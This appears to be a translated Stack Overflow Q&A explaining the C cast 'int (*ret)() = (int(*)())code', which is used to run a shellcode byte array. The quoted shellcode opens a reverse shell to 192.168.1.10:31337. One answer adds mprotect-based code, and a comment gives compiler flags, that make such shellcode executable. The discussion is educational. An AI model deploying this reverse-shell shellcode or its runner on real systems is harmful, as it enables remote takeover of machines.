【问题标题】:What does int (*ret)() = (int(*)())code mean?int (*ret)() = (int(*)())code 是什么意思?
【发布时间】:2014-02-22 07:42:19
【问题描述】:

这是来自 shellstorm 的代码副本:

#include <stdio.h>
/*
ipaddr 192.168.1.10 (c0a8010a)
port 31337 (7a69) 
*/
#define IPADDR "\xc0\xa8\x01\x0a"
#define PORT "\x7a\x69"

unsigned char code[] =
"\x31\xc0\x31\xdb\x31\xc9\x31\xd2"
"\xb0\x66\xb3\x01\x51\x6a\x06\x6a"
"\x01\x6a\x02\x89\xe1\xcd\x80\x89"
"\xc6\xb0\x66\x31\xdb\xb3\x02\x68"
IPADDR"\x66\x68"PORT"\x66\x53\xfe"
"\xc3\x89\xe1\x6a\x10\x51\x56\x89"
"\xe1\xcd\x80\x31\xc9\xb1\x03\xfe"
"\xc9\xb0\x3f\xcd\x80\x75\xf8\x31"
"\xc0\x52\x68\x6e\x2f\x73\x68\x68"
"\x2f\x2f\x62\x69\x89\xe3\x52\x53"
"\x89\xe1\x52\x89\xe2\xb0\x0b\xcd"
"\x80";

main() 
{
 printf("Shellcode Length: %d\n", sizeof(code)-1);
 int (*ret)() = (int(*)())code;
 ret();
}

谁能帮我解释一下这个“int (ret)() = (int()())code;” ? 它是如何工作的?为什么它能让上面的代码运行起来?

【问题讨论】:

  • 这不是内核代码。所以linux-kernel 不是合适的标签。
  • 将 char 指针转换为函数指针!现在这是未定义的行为。您只能将函数指针(任何类型)分配给函数指针。

标签: c exploit shellcode


【解决方案1】:
int(*ret)()

声明一个名为ret的函数指针;该函数接受未指定的参数并返回一个整数。

(int(*)())code

code 数组转换为相同类型的函数指针。

因此,这会将code 数组的地址转换为函数指针,然后您可以调用它并执行代码。

请注意,这在技术上是未定义的行为,因此它必须以这种方式工作。但这实际上是所有实现编译此代码的方式。像这样的 Shellcode 不应该是可移植的——code 数组中的字节取决于 CPU 架构和堆栈帧布局。

【讨论】:

  • +1 用于提及未指定数量和类型的参数。很多人错误地认为int func(void)int func() 是一样的。他们在C++,但不在C
  • 将数组转换为函数指针也是未定义的行为。不知道我是怎么错过的。
  • 我在答案中添加了关于可移植性的评论。
【解决方案2】:

您应该阅读一本好的 C 编程书籍,例如 Modern C。您甚至可以阅读this draft C11 standard 或查看this C reference 网站。

int (*ret)() 声明一个指向函数的指针,返回 int - 不指定参数(在 C 中)

然后= (int(*)())code; 正在使用code 的转换地址初始化ret

最后ret(); 正在调用该函数指针,从而调用code 数组中的机器代码。

顺便说一句,编译器(和链接器)可能会将code 放在只读但不可执行的段中(这可能取决于您的程序是如何链接的)。然后您的 shell 代码可能无法正常工作。

我建议在编译器中启用所有警告和调试信息。在 2020 年使用 GCC,这意味着编译 with gcc -Wall -Wextra -g 并稍后使用 GDB

在 Linux 上,您甚至可以使用 strace(1)ltrace(1) 来了解可执行文件的行为。

【讨论】:

  • 1+ 用于基本的顺便说一句。
  • 在这里对函数指针进行类型转换是多余的,因为如果code 具有不同的签名,那么它将导致未定义的行为。
【解决方案3】:
int (*ret)()

将函数指针 ret 定义为返回带有未指定数量参数的 int 的函数。

... = (int(*)())code;

unsigned char-array code 转换为ret 将引用的函数类型并将其分配给ret

这个电话

ret();

然后执行存储在code中的操作码。

总的来说不是一件好事。

【讨论】:

    【解决方案4】:

    int (*)() 是指向具有以下原型的函数的指针类型:

    int func();
    

    由于语言的解析方式和运算符的优先级,必须将星号放在括号中。同样,在声明该类型的指针变量时,变量的名称在星号之后而不是在类型之后,例如不是

    int (*)() ret;
    

    而是

    int (*ret)();
    

    在您的情况下,ret 变量正在声明和初始化,涉及类型转换。

    要通过函数指针调用函数,您可以使用更复杂的语法:

    (*ret)();
    

    或更简单的一个:

    ret();
    

    最好使用前一种语法,因为它向代码的读者表明ret 实际上是指向函数的指针,而不是函数本身。

    现在,原则上该代码实际上不应该工作。 code[] 数组放置在初始化的数据段中,在大多数现代操作系统中是不可执行的,即调用 ret(); 应该会产生分段错误。例如。 Linux 上的 GCC 将 code 变量放在 .data 部分:

    .globl code
        .data
        .align 32
        .type   code, @object
        .size   code, 93
    code:
        .string "1\3001\3331...\200"
    

    然后.data 部分进入一个不可执行的读写段:

    $ readelf --segments code.exe
    
    Elf file type is EXEC (Executable file)
    Entry point 0x4003c0
    There are 8 program headers, starting at offset 64
    
    Program Headers:
      Type           Offset             VirtAddr           PhysAddr
                     FileSiz            MemSiz              Flags  Align
      PHDR           0x0000000000000040 0x0000000000400040 0x0000000000400040
                     0x00000000000001c0 0x00000000000001c0  R E    8
      INTERP         0x0000000000000200 0x0000000000400200 0x0000000000400200
                     0x000000000000001c 0x000000000000001c  R      1
          [Requesting program interpreter: /lib64/ld-linux-x86-64.so.2]
      LOAD           0x0000000000000000 0x0000000000400000 0x0000000000400000
                     0x000000000000064c 0x000000000000064c  R E    100000
      vvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvv
      LOAD           0x0000000000000650 0x0000000000500650 0x0000000000500650
                     0x0000000000000270 0x0000000000000278  RW     100000
      ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
      DYNAMIC        0x0000000000000678 0x0000000000500678 0x0000000000500678
                     0x0000000000000190 0x0000000000000190  RW     8
      NOTE           0x000000000000021c 0x000000000040021c 0x000000000040021c
                     0x0000000000000020 0x0000000000000020  R      4
      GNU_EH_FRAME   0x0000000000000594 0x0000000000400594 0x0000000000400594
                     0x0000000000000024 0x0000000000000024  R      4
      GNU_STACK      0x0000000000000000 0x0000000000000000 0x0000000000000000
                     0x0000000000000000 0x0000000000000000  RW     8
    
     Section to Segment mapping:
      Segment Sections...
       00     
       01     .interp
       02     .interp .note.ABI-tag .hash .dynsym .dynstr .gnu.version
              .gnu.version_r .rela.dyn .rela.plt .init .plt .text .fini
              .rodata .eh_frame_hdr .eh_frame
       03     .ctors .dtors .jcr .dynamic .got .got.plt .data .bss
       ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
       04     .dynamic
       05     .note.ABI-tag
       06     .eh_frame_hdr
       07     
    

    该段缺少可执行标志,即它只有RW 而不是RWE,因此无法从该内存执行任何代码。事实上,运行程序会导致存储在code 中的第一条指令出现错误:

    (gdb) run
    Starting program: /tmp/code.exe 
    Shellcode Length: 92
    
    Program received signal SIGSEGV, Segmentation fault.
    0x0000000000500860 in code ()
    (gdb) up
    #1  0x00000000004004a7 in main () at code.c:27
    27     ret();
    (gdb) print ret
    $1 = (int (*)()) 0x500860 <code>
    

    为了让它工作,你可以使用posix_memalignmprotect的组合来分配一个内存页面并使其可执行,然后将code[]的内容复制到那里:

    // For posix_memalign()
    #define _XOPEN_SOURCE 600
    #include <stdlib.h>
    // For memcpy()
    #include <string.h>
    // For sysconf()
    #include <unistd.h>
    // For mprotect()
    #include <sys/mman.h>
    
    size_t code_size = sizeof(code) - 1;
    size_t page_size = sysconf(_SC_PAGESIZE);
    int (*ret)();
    
    printf("Shellcode Length: %d\n", code_size);
    posix_memalign(&ret, page_size, page_size);
    mprotect(ret, page_size, PROT_READ|PROT_WRITE|PROT_EXEC);
    memcpy(ret, code, code_size);
    (*ret)();
    

    另请注意,shell 代码使用int 0x80 调用 Linux 内核。如果程序是在 64 位 Linux 系统上编译的,这将无法开箱即用,因为使用不同的机制进行系统调用。在这种情况下应指定-m32,以强制编译器生成 32 位可执行文件。

    【讨论】:

    • +1 用于解释答案第一部分中的括号混乱。关于第二部分。使code[] 数组可执行的另一种方法是编译源文件,并将-fno-stack-protector -z execstack 标志传递给GCC。
    【解决方案5】:
    int (*ret)() = (int(*)())code;
    

    int (*ret)() 定义了一个指向函数的指针,该函数返回int 并具有未指定数量的参数; (int(*)())code 是类型转换,让另一部分可以将code 视为函数指针,与ret 类型相同。

    顺便说一句,取决于code 的内容,此代码可能仅适用于特定的 CPU 和操作系统组合,如果它甚至可以工作的话。

    【讨论】:

      【解决方案6】:

      您的程序将产生未定义的行为。 C99 规范,第 6.2.5 节,第 27 段说:

      指向 void 的指针应具有相同的表示和对齐方式 要求作为指向字符类型的指针。同样,指向 兼容类型的合格或不合格版本应具有 相同的表示和对齐要求。所有指向的指针 结构类型应具有相同的表示和对齐方式 互相要求。所有指向联合类型的指针都应具有 相同的表示和对齐要求。指针 到其他类型不需要具有相同的表示或对齐方式 要求。

      此外,在第 6.3.2.3 节第 8 段中,它还说:

      指向一种类型的函数的指针可以转换为指向 另一种类型的功能并再次返回;结果应比较 等于原来的指针。

      这意味着您不应将函数指针分配给非函数指针,因为不能保证函数指针的大小与char 指针或void 指针的大小相同。现在这些事情已经过去了,让我们来看看你的代码吧。

      int (*ret)() = (int(*)())code;
      

      让我们先来看看 lhs。因此,它将ret 定义为一个指向函数的指针,该函数采用固定但未知数量和类型的参数(听起来不太好)。在 rhs 上,您正在对数组 code 进行类型转换,该数组的计算结果为指向其第一个元素的指针,其类型与 ret 相同。这是未定义的行为。由于上述原因,只能将函数指针分配给函数指针,而不是指向任何其他类型的指针。此外,由于这个原因,sizeof 运算符可能不会精确地应用于函数指针。

      C++ 中,空参数列表意味着void,但在C 中并非如此,这意味着没有信息可用于检查调用者提供的参数列表。因此,您必须明确提及void。因此,您最好将该语句编写为,假设现在您的程序中定义了一个名为 code 的函数。

      int code(void); 
      int (*ret)(void) = (int(*)(void))code;
      

      为了简化复杂的 C 声明,typedef 可能会有所帮助。

      typedef int (*myfuncptr)(void); 
      

      这将myfuncptr 类型定义为pointer to a function taking no arguments and returning an int 类型。接下来,我们可以定义myfuncptr 类型的变量,就像我们在C 中定义任何类型的变量一样。但是请注意code 必须与ret 指向的函数类型具有相同的签名。如果您使用myfuncptr 强制转换任何其他类型的函数指针,它将导致未定义的行为。因此,这使得类型转换变得多余。

      int code(void);
      int foo(int);
      
      myfuncptr ret = code; // typecasting not needed. Same as- myfuncptr ret = &code;
      myfuncptr bar = (myfuncptr)foo;  // undefined behaviour.
      

      当您将函数名称分配给相同类型的函数指针时,它的计算结果为指针。您不需要使用运营商&amp; 的地址。类似地,你可以调用指针所指向的函数,而不用先解引用它。

      ret();     // call the function pointed to by ret
      (*ret)()   // deferencing ret first.
      

      请阅读此内容以了解详细信息 - Casting a function pointer to another type。这是关于如何在心理上解析复杂的 C 声明的好资源 - Clockwise/Spiral Rule。 另请注意,C 标准仅规定了两个可接受的main 签名:

      int main(void);
      int main(int argc, char *argv[]);
      

      【讨论】:

      • 对于像我这样的小伙伴来说,这里的细节非常好。尤其是在某些情况下包含显式 void 和关于函数名称评估指针的花絮
      猜你喜欢
      • 1970-01-01
      • 2015-08-28
      • 2011-06-05
      • 2011-01-11
      • 2016-09-06
      • 1970-01-01
      • 1970-01-01
      • 1970-01-01
      • 1970-01-01
      相关资源
      最近更新 更多